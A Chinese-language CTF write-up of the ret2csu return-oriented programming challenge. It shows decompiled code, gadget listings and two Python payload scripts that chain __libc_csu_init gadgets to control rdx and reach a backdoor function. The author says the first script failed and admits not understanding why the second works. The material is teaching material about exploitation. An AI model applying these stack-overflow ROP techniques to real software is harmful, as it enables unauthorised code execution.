ret2csu
链接:https://pan.baidu.com/s/1h7TkZPDbpCP0mz4rYNsW-Q
提取码:xkb4
1 程序中的漏洞点
void **pwnme()
{
void **result; // rax
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Call ret2win()");
puts("The third argument (rdx) must be 0xdeadcafebabebeef");
puts(&byte_400924);
printf("> ", 0LL);
plt_puts = 0LL; //这里4处把plt表改了,无法leak libc的地址
plt_printf = 0LL;//
plt_memset = 0LL;//
fgets(&s, 176, stdin); //溢出
result = &plt_fgets;
plt_fgets = 0LL;//
return result;
}
但同时给了一个后门
int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
char command[8]; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int16 v6; // [rsp+20h] [rbp-10h]
__int64 *v7; // [rsp+28h] [rbp-8h]
v5 = 0xD5BED0DDDFD28920LL;
v6 = 170;
*(_QWORD *)command = a3 ^ 0xAACCA9D1D4D7DCC0LL;
v7 = (__int64 *)((char *)&v5 + 1);
*(__int64 *)((char *)&v5 + 1) ^= a3;
return system(command);
}
根据上面的提示,The third argument (rdx) must be 0xdeadcafebabebeef" 只需要把rdx改为0xdeadcafebabebeef 就好
但是程序中没有直接改rdx的代码:
$ ROPgadget --binary ret2csu --only 'pop|ret'
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400658 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400576 : ret
0x00000000004007f9 : ret 0x8b48
Unique gadgets found: 12
-
在程序开始时,会先运行一个名为 __libc_csu_init 的函数
看一个这个函数,在这里截取函数结尾处的一些片段
#关注点2. mov rdx, r15 mov rsi, r14 mov edi, r13d call qword ptr [r12+rbx*8] add rbx, 1 cmp rbp, rbx jnz short loc_400880 #关注点1. pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 retn
可以看到在下面 关注点1 这一段 会把栈中的数据pop到寄存器中,而 关注点2 又会把这些寄存器中的数据复制到常用的传参寄存器中。然后会调用一个可以控制的函数。
在 关注点1 中:
rbx = 0 r12 = 需要调用的函数的地址
这样在关注点2
call qword ptr [r12+rbx*8] 这一条指令就会跳转到r12这个地址中 add rbx, 1 cmp rbp, rbx 这里如果rbp不是1,那么就会在这一段里循环 jnz short loc_400880
而上面3条会依次把 r13,r14,r15,复制到常用传参的 rdi,rsi,rdx,中,这里要注意一点
##### 把r13复制到 rdi 的低4位的 edi 中 ,这里缺4位,注意避开一些字符
我一开始的脚本是这么写的
```python
rdx=0xdeadcafebabebeef
ret2win=0x4007B1
csu_1=0x40089A
csu_2=0x400880
payload='a' * 0x20
payload+=p64(0) #rbp
payload+=p64(csu_1)
payload+=p64(0) #rbx 必需为0,一会用到
payload+=p64(0) #rbp
payload+=p64(ret2win) #r12 要跳转到的地址
payload+=p64(0) #r13 mov edi, r13d 注意这里低4位的 Edi
payload+=p64(0) #r14 mov rsi, r14
payload+=p64(rdx) #r15 mov rdx, r15
payload+=p64(csu_2)
payload+=p64(0)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
可是这么写不行,这题有些坑。死活讲不去ret2win这个函数。然后在网上查了查,把代码改成这样了:
rdx=0xdeadcafebabebeef
init = 0x600E10 #初始化函数地址
csu_1 = 0x400880
csu_2 = 0x40089a
ret2win = 0x4007B1
payload = 0x20*'a'
payload += p64(0) #rbp
payload += p64(csu_2)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(rdx) #r15
payload += p64(csu_1)
payload += p64(0) #add rsp,8可以理解为pop操作,但是没有pop到寄存器,而有丢弃掉
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret2win)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
虽然我也不知道为什么把程序重新初始化就行了。。。。。
frame_dummy 这个函数。在程序的.init_array段
frame_dummy会调用register_tm_clones
而这个register_tm_clones不知道是干什么用的,到研究linux源码时再深入研究一下。下次遇到同样的问题就让程序调用frame_dummy试试